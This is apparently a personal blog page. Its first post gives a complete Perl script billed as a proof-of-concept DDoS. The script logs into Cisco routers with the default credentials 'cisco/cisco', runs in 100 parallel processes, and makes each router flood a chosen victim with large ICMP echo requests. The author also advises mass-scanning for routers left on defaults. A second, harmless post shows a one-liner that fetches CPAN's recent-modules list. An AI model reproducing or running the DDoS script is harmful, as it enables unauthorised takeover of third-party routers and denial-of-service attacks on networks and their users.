DDOS based on ICMP echo request

Filed under: perl, routing, security — Tags: , , — Ali MEZGANI @ 1:27 am

Prof of concept of a simple DDOS program based on ICMP echo request from cisco routers.
With mass scanner you can get an important list of cisco default install
and by looking to their MTU and throughtput, you may tune the ICMP size to DOS a big network in few seconds
the program is informational only, please keep it on this way

#!/usr/bin/perl
use Parallel::ForkManager;
use Net::Telnet();
use Net::Telnet::Cisco;
use strict;

sub usage {
print “\n\n\e[00;34mddsco.pl [victim] [cisco file list] \e[00m \n\n";
exit;
}

my $victim = $ARGV[0];
my $file = $ARGV[1];

if ((!$victim) or (!$file)) {
usage;
}

my $login = “cisco”;
my $passwd = “cisco”;
my $enable = “cisco”;
my $mtu = 1500;
my $cmd = “ping “.$victim.” size 1500 df-bit repeat 1000″;

open FILE, “<$file” or die $!;
my $pm = new Parallel::ForkManager(100);
for (1..1000) {
while () {
$pm->start and next;
my $host = $_;
my $session = Net::Telnet::Cisco->new(Host => $host);
$session->login($login, $passwd);
$session->enable($enable);
$session->cmd($cmd);
$pm->finish; ## end point of the parallel process
}
}
$pm->wait_all_children; ## wait for the child processes

cpan recent modules

Filed under: bash, perl — Tags: , — Ali MEZGANI @ 1:42 am

This command grabs and print the URL of a plain text file that lists new files added to CPAN the past two weeks.
$ perl -MLWP::Simple -e “getprint ‘http://cpan.org/RECENT’&#8221;

You can easily make it part of a tidy little shell command, like this one that mails you the list of new SOAP::modules
$ perl -MLWP::Simple -e “getprint ‘http://cpan.org/RECENT’&#8221; | grep “/by-module/SOAP” | mail -s “New SOAP module! ” $USER
